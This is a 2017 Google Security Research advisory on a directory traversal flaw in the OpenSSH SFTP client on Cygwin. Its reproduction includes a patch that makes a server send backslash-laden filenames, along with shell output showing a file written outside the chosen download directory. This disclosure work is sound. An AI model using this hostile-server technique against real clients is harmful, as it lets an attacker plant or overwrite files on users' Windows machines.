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OpenSSH On Cygwin SFTP Client Directory Traversal

OpenSSH On Cygwin SFTP Client Directory Traversal
Posted Mar 22, 2017
Authored by Jann Horn, Google Security Research

Portable OpenSSH supports running on Cygwin. However, the SFTP client only filters out forward slashes (in do_lsreaddir()) and the directory names "." and ".." (in download_dir_internal()). On Windows, including in Cygwin, backslashes can a lso be used for directory traversal.

tags | exploit
systems | windows
MD5 | 2069de5aceb936104c15b6d7d812f974

OpenSSH On Cygwin SFTP Client Directory Traversal

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OpenSSH on Cygwin: directory traversal in SFTP client 

Portable OpenSSH supports running on Cygwin. However, the SFTP client only filters out forward slashes (in do_lsreaddir()) and the directory names "." and ".." (in download_dir_internal()). On Windows, including in Cygwin, backslashes can also be used for directory traversal.

To reproduce:

On the server:

Patch OpenSSH like this, then build it:

--- openssh-7.4p1/sftp-server.c 2016-12-18 20:59:41.000000000 -0800
+++ openssh-7.4p1-patched/sftp-server.c 2016-12-20 15:55:34.980000300 -0800
@@ -1065,10 +1065,11 @@
strcmp(path, "/") ? "/" : "", dp->d_name);
if (lstat(pathname, &st) < 0)
continue;
stat_to_attrib(&st, &(stats[count].attrib));
stats[count].name = xstrdup(dp->d_name);
+for (i=0; i<strlen(stats[count].name); i++) if (stats[count].name[i] == '#') stats[count].name[i] = '\\';
stats[count].long_name = ls_file(dp->d_name, &st, 0, 0);
count++;
/* send up to 100 entries in one message */
/* XXX check packet size instead */
if (count == 100)

Ensure that an OpenSSH server is running.

Create the following directory structure:

user@DESKTOP ~
$ mkdir -p sourceparent/source
user@DESKTOP ~
$ touch 'sourceparent/source/..#foobar'
user@DESKTOP ~
$ echo foobar > sourceparent/foobar
user@DESKTOP ~
$

Now, on the client (Cygwin on Windows 10), build OpenSSH, then recursively download a directory like this:

user@DESKTOP ~
$ mkdir destparent
user@DESKTOP ~
$ cd destparent/
user@DESKTOP ~/destparent
$ ls -la
total 4
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
user@DESKTOP ~/destparent
$ ~/openssh-7.4p1/sftp -r -s /home/user/openssh-7.4p1-patched/sftp-server localhost:sourceparent/source dest
Connected to localhost.
Fetching /home/user/sourceparent/source/ to dest
Retrieving /home/user/sourceparent/source
user@DESKTOP ~/destparent
$ ls -la
total 5
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 dest
-rwxr-xr-x 1 user None 7 Dec 20 16:24 foobar
user@DESKTOP ~/destparent
$

As you can see, sftp created the file "foobar" outside the specified destination directory "dest".

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.



Found by: jannh

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